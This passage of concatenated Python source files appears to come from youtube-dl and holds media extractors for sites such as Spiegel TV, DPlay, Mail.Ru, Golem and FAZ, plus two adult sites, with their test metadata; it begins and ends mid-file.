            'description': 'Das Rätsel um die Boeing 777 der Malaysia-Airlines',
            'thumbnail': 're:http://.*\.jpg$',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        'url': 'http://www.spiegel.tv/#/filme/alleskino-die-wahrheit-ueber-maenner/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        if '/#/' in url:
            url = url.replace('/#/', '/')
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        title = self._html_search_regex(r'<h1.*?>(.*?)</h1>', webpage, 'title')

        apihost = 'http://spiegeltv-ivms2-restapi.s3.amazonaws.com'
        version_json = self._download_json(
            '%s/version.json' % apihost, video_id,
            note='Downloading version information')
        version_name = version_json['version_name']

        slug_json = self._download_json(
            '%s/%s/restapi/slugs/%s.json' % (apihost, version_name, video_id),
            video_id,
            note='Downloading object information')
        oid = slug_json['object_id']

        media_json = self._download_json(
            '%s/%s/restapi/media/%s.json' % (apihost, version_name, oid),
            video_id, note='Downloading media information')
        uuid = media_json['uuid']
        is_wide = media_json['is_wide']

        server_json = self._download_json(
            'http://spiegeltv-prod-static.s3.amazonaws.com/projectConfigs/projectConfig.json',
            video_id, note='Downloading server information')

        format = '16x9' if is_wide else '4x3'

        formats = []
        for streamingserver in server_json['streamingserver']:
            endpoint = streamingserver.get('endpoint')
            if not endpoint:
                continue
            play_path = 'mp4:%s_spiegeltv_0500_%s.m4v' % (uuid, format)
            if endpoint.startswith('rtmp'):
                formats.append({
                    'url': endpoint,
                    'format_id': 'rtmp',
                    'app': compat_urllib_parse_urlparse(endpoint).path[1:],
                    'play_path': play_path,
                    'player_path': 'http://prod-static.spiegel.tv/frontend-076.swf',
                    'ext': 'flv',
                    'rtmp_live': True,
                })
            elif determine_ext(endpoint) == 'm3u8':
                formats.append({
                    'url': endpoint.replace('[video]', play_path),
                    'ext': 'm4v',
                    'format_id': 'hls',  # Prefer hls since it allows to workaround georestriction
                    'protocol': 'm3u8',
                    'preference': 1,
                    'http_headers': {
                        'Accept-Encoding': 'deflate',  # gzip causes trouble on the server side
                    },
                })
            else:
                formats.append({
                    'url': endpoint,
                })
        self._check_formats(formats, video_id)

        thumbnails = []
        for image in media_json['images']:
            thumbnails.append({
                'url': image['url'],
                'width': image['width'],
                'height': image['height'],
            })

        description = media_json['subtitle']
        duration = float_or_none(media_json.get('duration_in_ms'), scale=1000)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'thumbnails': thumbnails,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    int_or_none,
)


class AnySexIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?anysex\.com/(?P<id>\d+)'
    _TEST = {
        'url': 'http://anysex.com/156592/',
        'md5': '023e9fbb7f7987f5529a394c34ad3d3d',
        'info_dict': {
            'id': '156592',
            'ext': 'mp4',
            'title': 'Busty and sexy blondie in her bikini strips for you',
            'description': 'md5:de9e418178e2931c10b62966474e1383',
            'categories': ['Erotic'],
            'duration': 270,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        video_url = self._html_search_regex(r"video_url\s*:\s*'([^']+)'", webpage, 'video URL')

        title = self._html_search_regex(r'<title>(.*?)</title>', webpage, 'title')
        description = self._html_search_regex(
            r'<div class="description"[^>]*>([^<]+)</div>', webpage, 'description', fatal=False)
        thumbnail = self._html_search_regex(
            r'preview_url\s*:\s*\'(.*?)\'', webpage, 'thumbnail', fatal=False)

        categories = re.findall(
            r'<a href="http://anysex\.com/categories/[^"]+" title="[^"]*">([^<]+)</a>', webpage)

        duration = parse_duration(self._search_regex(
            r'<b>Duration:</b> (?:<q itemprop="duration">)?(\d+:\d+)', webpage, 'duration', fatal=False))
        view_count = int_or_none(self._html_search_regex(
            r'<b>Views:</b> (\d+)', webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'url': video_url,
            'ext': 'mp4',
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'categories': categories,
            'duration': duration,
            'view_count': view_count,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re
import time

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    update_url_query,
)


class DPlayIE(InfoExtractor):
    _VALID_URL = r'https?://(?P<domain>it\.dplay\.com|www\.dplay\.(?:dk|se|no))/[^/]+/(?P<id>[^/?#]+)'

    _TESTS = [{
        # geo restricted, via direct unsigned hls URL
        'url': 'http://it.dplay.com/take-me-out/stagione-1-episodio-25/',
        'info_dict': {
            'id': '1255600',
            'display_id': 'stagione-1-episodio-25',
            'ext': 'mp4',
            'title': 'Episodio 25',
            'description': 'md5:cae5f40ad988811b197d2d27a53227eb',
            'duration': 2761,
            'timestamp': 1454701800,
            'upload_date': '20160205',
            'creator': 'RTIT',
            'series': 'Take me out',
            'season_number': 1,
            'episode_number': 25,
            'age_limit': 0,
        },
        'expected_warnings': ['Unable to download f4m manifest'],
    }, {
        # non geo restricted, via secure api, unsigned download hls URL
        'url': 'http://www.dplay.se/nugammalt-77-handelser-som-format-sverige/season-1-svensken-lar-sig-njuta-av-livet/',
        'info_dict': {
            'id': '3172',
            'display_id': 'season-1-svensken-lar-sig-njuta-av-livet',
            'ext': 'mp4',
            'title': 'Svensken lär sig njuta av livet',
            'description': 'md5:d3819c9bccffd0fe458ca42451dd50d8',
            'duration': 2650,
            'timestamp': 1365454320,
            'upload_date': '20130408',
            'creator': 'Kanal 5 (Home)',
            'series': 'Nugammalt - 77 händelser som format Sverige',
            'season_number': 1,
            'episode_number': 1,
            'age_limit': 0,
        },
    }, {
        # geo restricted, via secure api, unsigned download hls URL
        'url': 'http://www.dplay.dk/mig-og-min-mor/season-6-episode-12/',
        'info_dict': {
            'id': '70816',
            'display_id': 'season-6-episode-12',
            'ext': 'mp4',
            'title': 'Episode 12',
            'description': 'md5:9c86e51a93f8a4401fc9641ef9894c90',
            'duration': 2563,
            'timestamp': 1429696800,
            'upload_date': '20150422',
            'creator': 'Kanal 4 (Home)',
            'series': 'Mig og min mor',
            'season_number': 6,
            'episode_number': 12,
            'age_limit': 0,
        },
    }, {
        # geo restricted, via direct unsigned hls URL
        'url': 'http://www.dplay.no/pga-tour/season-1-hoydepunkter-18-21-februar/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('id')
        domain = mobj.group('domain')

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            r'data-video-id=["\'](\d+)', webpage, 'video id')

        info = self._download_json(
            'http://%s/api/v2/ajax/videos?video_id=%s' % (domain, video_id),
            video_id)['data'][0]

        title = info['title']

        PROTOCOLS = ('hls', 'hds')
        formats = []

        def extract_formats(protocol, manifest_url):
            if protocol == 'hls':
                m3u8_formats = self._extract_m3u8_formats(
                    manifest_url, video_id, ext='mp4',
                    entry_protocol='m3u8_native', m3u8_id=protocol, fatal=False)
                # Sometimes final URLs inside m3u8 are unsigned, let's fix this
                # ourselves
                query = compat_urlparse.parse_qs(compat_urlparse.urlparse(manifest_url).query)
                for m3u8_format in m3u8_formats:
                    m3u8_format['url'] = update_url_query(m3u8_format['url'], query)
                formats.extend(m3u8_formats)
            elif protocol == 'hds':
                formats.extend(self._extract_f4m_formats(
                    manifest_url + '&hdcore=3.8.0&plugin=flowplayer-3.8.0.0',
                    video_id, f4m_id=protocol, fatal=False))

        domain_tld = domain.split('.')[-1]
        if domain_tld in ('se', 'dk', 'no'):
            for protocol in PROTOCOLS:
                # Providing dsc-geo allows to bypass geo restriction in some cases
                self._set_cookie(
                    'secure.dplay.%s' % domain_tld, 'dsc-geo',
                    json.dumps({
                        'countryCode': domain_tld.upper(),
                        'expiry': (time.time() + 20 * 60) * 1000,
                    }))
                stream = self._download_json(
                    'https://secure.dplay.%s/secure/api/v2/user/authorization/stream/%s?stream_type=%s'
                    % (domain_tld, video_id, protocol), video_id,
                    'Downloading %s stream JSON' % protocol, fatal=False)
                if stream and stream.get(protocol):
                    extract_formats(protocol, stream[protocol])

        # The last resort is to try direct unsigned hls/hds URLs from info dictionary.
        # Sometimes this does work even when secure API with dsc-geo has failed (e.g.
        # http://www.dplay.no/pga-tour/season-1-hoydepunkter-18-21-februar/).
        if not formats:
            for protocol in PROTOCOLS:
                if info.get(protocol):
                    extract_formats(protocol, info[protocol])

        self._sort_formats(formats)

        subtitles = {}
        for lang in ('se', 'sv', 'da', 'nl', 'no'):
            for format_id in ('web_vtt', 'vtt', 'srt'):
                subtitle_url = info.get('subtitles_%s_%s' % (lang, format_id))
                if subtitle_url:
                    subtitles.setdefault(lang, []).append({'url': subtitle_url})

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': info.get('video_metadata_longDescription'),
            'duration': int_or_none(info.get('video_metadata_length'), scale=1000),
            'timestamp': int_or_none(info.get('video_publish_date')),
            'creator': info.get('video_metadata_homeChannel'),
            'series': info.get('video_metadata_show'),
            'season_number': int_or_none(info.get('season')),
            'episode_number': int_or_none(info.get('episode')),
            'age_limit': int_or_none(info.get('minimum_age')),
            'formats': formats,
            'subtitles': subtitles,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    remove_end,
)


class MailRuIE(InfoExtractor):
    IE_NAME = 'mailru'
    IE_DESC = 'Видео@Mail.Ru'
    _VALID_URL = r'https?://(?:(?:www|m)\.)?my\.mail\.ru/(?:video/.*#video=/?(?P<idv1>(?:[^/]+/){3}\d+)|(?:(?P<idv2prefix>(?:[^/]+/){2})video/(?P<idv2suffix>[^/]+/\d+))\.html)'

    _TESTS = [
        {
            'url': 'http://my.mail.ru/video/top#video=/mail/sonypicturesrus/75/76',
            'md5': 'dea205f03120046894db4ebb6159879a',
            'info_dict': {
                'id': '46301138_76',
                'ext': 'mp4',
                'title': 'Новый Человек-Паук. Высокое напряжение. Восстание Электро',
                'timestamp': 1393232740,
                'upload_date': '20140224',
                'uploader': 'sonypicturesrus',
                'uploader_id': 'sonypicturesrus@mail.ru',
                'duration': 184,
            },
            'skip': 'Not accessible from Travis CI server',
        },
        {
            'url': 'http://my.mail.ru/corp/hitech/video/news_hi-tech_mail_ru/1263.html',
            'md5': '00a91a58c3402204dcced523777b475f',
            'info_dict': {
                'id': '46843144_1263',
                'ext': 'mp4',
                'title': 'Samsung Galaxy S5 Hammer Smash Fail Battery Explosion',
                'timestamp': 1397039888,
                'upload_date': '20140409',
                'uploader': 'hitech@corp.mail.ru',
                'uploader_id': 'hitech@corp.mail.ru',
                'duration': 245,
            },
            'skip': 'Not accessible from Travis CI server',
        },
        {
            # only available via metaUrl API
            'url': 'http://my.mail.ru/mail/720pizle/video/_myvideo/502.html',
            'md5': '3b26d2491c6949d031a32b96bd97c096',
            'info_dict': {
                'id': '56664382_502',
                'ext': 'mp4',
                'title': ':8336',
                'timestamp': 1449094163,
                'upload_date': '20151202',
                'uploader': '720pizle@mail.ru',
                'uploader_id': '720pizle@mail.ru',
                'duration': 6001,
            },
            'skip': 'Not accessible from Travis CI server',
        },
        {
            'url': 'http://m.my.mail.ru/mail/3sktvtr/video/_myvideo/138.html',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('idv1')

        if not video_id:
            video_id = mobj.group('idv2prefix') + mobj.group('idv2suffix')

        webpage = self._download_webpage(url, video_id)

        video_data = None

        page_config = self._parse_json(self._search_regex(
            r'(?s)<script[^>]+class="sp-video__page-config"[^>]*>(.+?)</script>',
            webpage, 'page config', default='{}'), video_id, fatal=False)
        if page_config:
            meta_url = page_config.get('metaUrl') or page_config.get('video', {}).get('metaUrl')
            if meta_url:
                video_data = self._download_json(
                    meta_url, video_id, 'Downloading video meta JSON', fatal=False)

        # Fallback old approach
        if not video_data:
            video_data = self._download_json(
                'http://api.video.mail.ru/videos/%s.json?new=1' % video_id,
                video_id, 'Downloading video JSON')

        formats = []
        for f in video_data['videos']:
            video_url = f.get('url')
            if not video_url:
                continue
            format_id = f.get('key')
            height = int_or_none(self._search_regex(
                r'^(\d+)[pP]$', format_id, 'height', default=None)) if format_id else None
            formats.append({
                'url': video_url,
                'format_id': format_id,
                'height': height,
            })
        self._sort_formats(formats)

        meta_data = video_data['meta']
        title = remove_end(meta_data['title'], '.mp4')

        author = video_data.get('author')
        uploader = author.get('name')
        uploader_id = author.get('id') or author.get('email')
        view_count = int_or_none(video_data.get('viewsCount') or video_data.get('views_count'))

        acc_id = meta_data.get('accId')
        item_id = meta_data.get('itemId')
        content_id = '%s_%s' % (acc_id, item_id) if acc_id and item_id else video_id

        thumbnail = meta_data.get('poster')
        duration = int_or_none(meta_data.get('duration'))
        timestamp = int_or_none(meta_data.get('timestamp'))

        return {
            'id': content_id,
            'title': title,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'duration': duration,
            'view_count': view_count,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    int_or_none,
    parse_iso8601,
    xpath_text,
)


class PhilharmonieDeParisIE(InfoExtractor):
    IE_DESC = 'Philharmonie de Paris'
    _VALID_URL = r'https?://live\.philharmoniedeparis\.fr/(?:[Cc]oncert/|misc/Playlist\.ashx\?id=)(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://live.philharmoniedeparis.fr/concert/1032066.html',
        'info_dict': {
            'id': '1032066',
            'ext': 'flv',
            'title': 'md5:d1f5585d87d041d07ce9434804bc8425',
            'timestamp': 1428179400,
            'upload_date': '20150404',
            'duration': 6592.278,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'http://live.philharmoniedeparis.fr/Concert/1030324.html',
        'only_matching': True,
    }, {
        'url': 'http://live.philharmoniedeparis.fr/misc/Playlist.ashx?id=1030324&track=&lang=fr',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        concert = self._download_xml(
            'http://live.philharmoniedeparis.fr/misc/Playlist.ashx?id=%s' % video_id,
            video_id).find('./concert')

        formats = []
        info_dict = {
            'id': video_id,
            'title': xpath_text(concert, './titre', 'title', fatal=True),
            'formats': formats,
        }

        fichiers = concert.find('./fichiers')
        stream = fichiers.attrib['serveurstream']
        for fichier in fichiers.findall('./fichier'):
            info_dict['duration'] = float_or_none(fichier.get('timecodefin'))
            for quality, (format_id, suffix) in enumerate([('lq', ''), ('hq', '_hd')]):
                format_url = fichier.get('url%s' % suffix)
                if not format_url:
                    continue
                formats.append({
                    'url': stream,
                    'play_path': format_url,
                    'ext': 'flv',
                    'format_id': format_id,
                    'width': int_or_none(concert.get('largeur%s' % suffix)),
                    'height': int_or_none(concert.get('hauteur%s' % suffix)),
                    'quality': quality,
                })
        self._sort_formats(formats)

        date, hour = concert.get('date'), concert.get('heure')
        if date and hour:
            info_dict['timestamp'] = parse_iso8601(
                '%s-%s-%sT%s:00' % (date[0:4], date[4:6], date[6:8], hour))
        elif date:
            info_dict['upload_date'] = date

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

import re

from .vimple import SprutoBaseIE


class MyviIE(SprutoBaseIE):
    _VALID_URL = r'''(?x)
                    https?://
                        myvi\.(?:ru/player|tv)/
                            (?:
                                (?:
                                    embed/html|
                                    flash|
                                    api/Video/Get
                                )/|
                                content/preloader\.swf\?.*\bid=
                            )
                            (?P<id>[\da-zA-Z_-]+)
                    '''
    _TESTS = [{
        'url': 'http://myvi.ru/player/embed/html/oOy4euHA6LVwNNAjhD9_Jq5Ha2Qf0rtVMVFMAZav8wObeRTZaCATzucDQIDph8hQU0',
        'md5': '571bbdfba9f9ed229dc6d34cc0f335bf',
        'info_dict': {
            'id': 'f16b2bbd-cde8-481c-a981-7cd48605df43',
            'ext': 'mp4',
            'title': 'хозяин жизни',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 25,
        },
    }, {
        'url': 'http://myvi.ru/player/content/preloader.swf?id=oOy4euHA6LVwNNAjhD9_Jq5Ha2Qf0rtVMVFMAZav8wOYf1WFpPfc_bWTKGVf_Zafr0',
        'only_matching': True,
    }, {
        'url': 'http://myvi.ru/player/api/Video/Get/oOy4euHA6LVwNNAjhD9_Jq5Ha2Qf0rtVMVFMAZav8wObeRTZaCATzucDQIDph8hQU0',
        'only_matching': True,
    }, {
        'url': 'http://myvi.tv/embed/html/oTGTNWdyz4Zwy_u1nraolwZ1odenTd9WkTnRfIL9y8VOgHYqOHApE575x4_xxS9Vn0?ap=0',
        'only_matching': True,
    }, {
        'url': 'http://myvi.ru/player/flash/ocp2qZrHI-eZnHKQBK4cZV60hslH8LALnk0uBfKsB-Q4WnY26SeGoYPi8HWHxu0O30',
        'only_matching': True,
    }]

    @classmethod
    def _extract_url(cls, webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//myvi\.(?:ru/player|tv)/(?:embed/html|flash)/[^"]+)\1', webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        spruto = self._download_json(
            'http://myvi.ru/player/api/Video/Get/%s?sig' % video_id, video_id)['sprutoData']

        return self._extract_spruto(spruto, video_id)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
)
from ..utils import (
    determine_ext,
)


class GolemIE(InfoExtractor):
    _VALID_URL = r'^https?://video\.golem\.de/.+?/(?P<id>.+?)/'
    _TEST = {
        'url': 'http://video.golem.de/handy/14095/iphone-6-und-6-plus-test.html',
        'md5': 'c1a2c0a3c863319651c7c992c5ee29bf',
        'info_dict': {
            'id': '14095',
            'format_id': 'high',
            'ext': 'mp4',
            'title': 'iPhone 6 und 6 Plus - Test',
            'duration': 300.44,
            'filesize': 65309548,
        }
    }

    _PREFIX = 'http://video.golem.de'

    def _real_extract(self, url):
        video_id = self._match_id(url)

        config = self._download_xml(
            'https://video.golem.de/xml/{0}.xml'.format(video_id), video_id)

        info = {
            'id': video_id,
            'title': config.findtext('./title', 'golem'),
            'duration': self._float(config.findtext('./playtime'), 'duration'),
        }

        formats = []
        for e in config:
            url = e.findtext('./url')
            if not url:
                continue

            formats.append({
                'format_id': e.tag,
                'url': compat_urlparse.urljoin(self._PREFIX, url),
                'height': self._int(e.get('height'), 'height'),
                'width': self._int(e.get('width'), 'width'),
                'filesize': self._int(e.findtext('filesize'), 'filesize'),
                'ext': determine_ext(e.findtext('./filename')),
            })
        self._sort_formats(formats)
        info['formats'] = formats

        thumbnails = []
        for e in config.findall('.//teaser'):
            url = e.findtext('./url')
            if not url:
                continue
            thumbnails.append({
                'url': compat_urlparse.urljoin(self._PREFIX, url),
                'width': self._int(e.get('width'), 'thumbnail width'),
                'height': self._int(e.get('height'), 'thumbnail height'),
            })
        info['thumbnails'] = thumbnails

        return info






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
    mimetype2ext,
    determine_ext,
)


class AMPIE(InfoExtractor):
    # parse Akamai Adaptive Media Player feed
    def _extract_feed_info(self, url):
        item = self._download_json(
            url, None, 'Downloading Akamai AMP feed',
            'Unable to download Akamai AMP feed')['channel']['item']

        video_id = item['guid']

        def get_media_node(name, default=None):
            media_name = 'media-%s' % name
            media_group = item.get('media-group') or item
            return media_group.get(media_name) or item.get(media_name) or item.get(name, default)

        thumbnails = []
        media_thumbnail = get_media_node('thumbnail')
        if media_thumbnail:
            if isinstance(media_thumbnail, dict):
                media_thumbnail = [media_thumbnail]
            for thumbnail_data in media_thumbnail:
                thumbnail = thumbnail_data['@attributes']
                thumbnails.append({
                    'url': self._proto_relative_url(thumbnail['url'], 'http:'),
                    'width': int_or_none(thumbnail.get('width')),
                    'height': int_or_none(thumbnail.get('height')),
                })

        subtitles = {}
        media_subtitle = get_media_node('subTitle')
        if media_subtitle:
            if isinstance(media_subtitle, dict):
                media_subtitle = [media_subtitle]
            for subtitle_data in media_subtitle:
                subtitle = subtitle_data['@attributes']
                lang = subtitle.get('lang') or 'en'
                subtitles[lang] = [{'url': subtitle['href']}]

        formats = []
        media_content = get_media_node('content')
        if isinstance(media_content, dict):
            media_content = [media_content]
        for media_data in media_content:
            media = media_data.get('@attributes', {})
            media_url = media.get('url')
            if not media_url:
                continue
            ext = mimetype2ext(media.get('type')) or determine_ext(media_url)
            if ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    media_url + '?hdcore=3.4.0&plugin=aasp-3.4.0.132.124',
                    video_id, f4m_id='hds', fatal=False))
            elif ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    media_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
            else:
                formats.append({
                    'format_id': media_data.get('media-category', {}).get('@attributes', {}).get('label'),
                    'url': media['url'],
                    'tbr': int_or_none(media.get('bitrate')),
                    'filesize': int_or_none(media.get('fileSize')),
                    'ext': ext,
                })

        self._sort_formats(formats)

        timestamp = parse_iso8601(item.get('pubDate'), ' ') or parse_iso8601(item.get('dc-date'))

        return {
            'id': video_id,
            'title': get_media_node('title'),
            'description': get_media_node('description'),
            'thumbnails': thumbnails,
            'timestamp': timestamp,
            'duration': int_or_none(media_content[0].get('@attributes', {}).get('duration')),
            'subtitles': subtitles,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    unified_strdate,
)


class FranceCultureIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?franceculture\.fr/emissions/(?:[^/]+/)*(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'http://www.franceculture.fr/emissions/carnet-nomade/rendez-vous-au-pays-des-geeks',
        'info_dict': {
            'id': 'rendez-vous-au-pays-des-geeks',
            'display_id': 'rendez-vous-au-pays-des-geeks',
            'ext': 'mp3',
            'title': 'Rendez-vous au pays des geeks',
            'thumbnail': 're:^https?://.*\\.jpg$',
            'upload_date': '20140301',
            'vcodec': 'none',
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_url = self._search_regex(
            r'(?s)<div[^>]+class="[^"]*?title-zone-diffusion[^"]*?"[^>]*>.*?<a[^>]+href="([^"]+)"',
            webpage, 'video path')

        title = self._og_search_title(webpage)

        upload_date = unified_strdate(self._search_regex(
            '(?s)<div[^>]+class="date"[^>]*>.*?<span[^>]+class="inner"[^>]*>([^<]+)<',
            webpage, 'upload date', fatal=False))
        thumbnail = self._search_regex(
            r'(?s)<figure[^>]+itemtype="https://schema.org/ImageObject"[^>]*>.*?<img[^>]+data-pagespeed-(?:lazy|high-res)-src="([^"]+)"',
            webpage, 'thumbnail', fatal=False)
        uploader = self._html_search_regex(
            r'(?s)<div id="emission".*?<span class="author">(.*?)</span>',
            webpage, 'uploader', default=None)
        vcodec = 'none' if determine_ext(video_url.lower()) == 'mp3' else None

        return {
            'id': display_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'vcodec': vcodec,
            'uploader': uploader,
            'upload_date': upload_date,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import random

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    float_or_none,
    unified_strdate,
)


class PornoVoisinesIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?pornovoisines\.com/showvideo/(?P<id>\d+)/(?P<display_id>[^/]+)'

    _VIDEO_URL_TEMPLATE = 'http://stream%d.pornovoisines.com' \
        '/static/media/video/transcoded/%s-640x360-1000-trscded.mp4'

    _SERVER_NUMBERS = (1, 2)

    _TEST = {
        'url': 'http://www.pornovoisines.com/showvideo/1285/recherche-appartement/',
        'md5': '5ac670803bc12e9e7f9f662ce64cf1d1',
        'info_dict': {
            'id': '1285',
            'display_id': 'recherche-appartement',
            'ext': 'mp4',
            'title': 'Recherche appartement',
            'description': 'md5:819ea0b785e2a04667a1a01cdc89594e',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20140925',
            'duration': 120,
            'view_count': int,
            'average_rating': float,
            'categories': ['Débutantes', 'Scénario', 'Sodomie'],
            'age_limit': 18,
        }
    }

    @classmethod
    def build_video_url(cls, num):
        return cls._VIDEO_URL_TEMPLATE % (random.choice(cls._SERVER_NUMBERS), num)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, video_id)

        video_url = self.build_video_url(video_id)

        title = self._html_search_regex(
            r'<h1>(.+?)</h1>', webpage, 'title', flags=re.DOTALL)
        description = self._html_search_regex(
            r'<article id="descriptif">(.+?)</article>',
            webpage, 'description', fatal=False, flags=re.DOTALL)

        thumbnail = self._search_regex(
            r'<div id="mediaspace%s">\s*<img src="/?([^"]+)"' % video_id,
            webpage, 'thumbnail', fatal=False)
        if thumbnail:
            thumbnail = 'http://www.pornovoisines.com/%s' % thumbnail

        upload_date = unified_strdate(self._search_regex(
            r'Publié le ([\d-]+)', webpage, 'upload date', fatal=False))
        duration = int_or_none(self._search_regex(
            'Durée (\d+)', webpage, 'duration', fatal=False))
        view_count = int_or_none(self._search_regex(
            r'(\d+) vues', webpage, 'view count', fatal=False))
        average_rating = self._search_regex(
            r'Note\s*:\s*(\d+(?:,\d+)?)', webpage, 'average rating', fatal=False)
        if average_rating:
            average_rating = float_or_none(average_rating.replace(',', '.'))

        categories = self._html_search_meta(
            'keywords', webpage, 'categories', fatal=False)
        if categories:
            categories = [category.strip() for category in categories.split(',')]

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
            'duration': duration,
            'view_count': view_count,
            'average_rating': average_rating,
            'categories': categories,
            'age_limit': 18,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    xpath_element,
    xpath_text,
    int_or_none,
)


class FazIE(InfoExtractor):
    IE_NAME = 'faz.net'
    _VALID_URL = r'https?://(?:www\.)?faz\.net/(?:[^/]+/)*.*?-(?P<id>\d+)\.html'

    _TESTS = [{
        'url': 'http://www.faz.net/multimedia/videos/stockholm-chemie-nobelpreis-fuer-drei-amerikanische-forscher-12610585.html',
        'info_dict': {
            'id': '12610585',
            'ext': 'mp4',
            'title': 'Stockholm: Chemie-Nobelpreis für drei amerikanische Forscher',
            'description': 'md5:1453fbf9a0d041d985a47306192ea253',
        },
    }, {
        'url': 'http://www.faz.net/aktuell/politik/berlin-gabriel-besteht-zerreissprobe-ueber-datenspeicherung-13659345.html',
        'only_matching': True,
    }, {
        'url': 'http://www.faz.net/berlin-gabriel-besteht-zerreissprobe-ueber-datenspeicherung-13659345.html',
        'only_matching': True,
    }, {
        'url': 'http://www.faz.net/-13659345.html',
        'only_matching': True,
    }, {
        'url': 'http://www.faz.net/aktuell/politik/-13659345.html',
        'only_matching': True,
    }, {
        'url': 'http://www.faz.net/foobarblafasel-13659345.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        description = self._og_search_description(webpage)
        config_xml_url = self._search_regex(
            r'videoXMLURL\s*=\s*"([^"]+)', webpage, 'config xml url')
        config = self._download_xml(
            config_xml_url, video_id, 'Downloading config xml')

        encodings = xpath_element(config, 'ENCODINGS', 'encodings', True)
        formats = []
        for pref, code in enumerate(['LOW', 'HIGH', 'HQ']):
            encoding = xpath_element(encodings, code)
            if encoding is not None:
                encoding_url = xpath_text(encoding, 'FILENAME')
                if encoding_url:
                    formats.append({
                        'url': encoding_url,
                        'format_id': code.lower(),
                        'quality': pref,
                        'tbr': int_or_none(xpath_text(encoding, 'AVERAGEBITRATE')),
                    })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'formats': formats,
            'description': description.strip() if description else None,
            'thumbnail': xpath_text(config, 'STILL/STILL_BIG'),
            'duration': int_or_none(xpath_text(config, 'DURATION')),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    remove_end,
    xpath_element,
    xpath_text,
)


class DigitallySpeakingIE(InfoExtractor):
    _VALID_URL = r'https?://(?:evt\.dispeak|events\.digitallyspeaking)\.com/(?:[^/]+/)+xml/(?P<id>[^.]+)\.xml'

    _TESTS = [{
        # From http://gdcvault.com/play/1023460/Tenacious-Design-and-The-Interface
        'url': 'http://evt.dispeak.com/ubm/gdc/sf16/xml/840376_BQRC.xml',
        'md5': 'a8efb6c31ed06ca8739294960b2dbabd',
        'info_dict': {
            'id': '840376_BQRC',
            'ext': 'mp4',
            'title': 'Tenacious Design and The Interface of \'Destiny\'',
        },
    }, {
        # From http://www.gdcvault.com/play/1014631/Classic-Game-Postmortem-PAC
        'url': 'http://events.digitallyspeaking.com/gdc/sf11/xml/12396_1299111843500GMPX.xml',
        'only_matching': True,
    }]

    def _parse_mp4(self, metadata):
        video_formats = []
        video_root = None

        mp4_video = xpath_text(metadata, './mp4video', default=None)
        if mp4_video is not None:
            mobj = re.match(r'(?P<root>https?://.*?/).*', mp4_video)
            video_root = mobj.group('root')
        if video_root is None:
            http_host = xpath_text(metadata, 'httpHost', default=None)
            if http_host:
                video_root = 'http://%s/' % http_host
        if video_root is None:
            # Hard-coded in http://evt.dispeak.com/ubm/gdc/sf16/custom/player2.js
            # Works for GPUTechConf, too
            video_root = 'http://s3-2u.digitallyspeaking.com/'

        formats = metadata.findall('./MBRVideos/MBRVideo')
        if not formats:
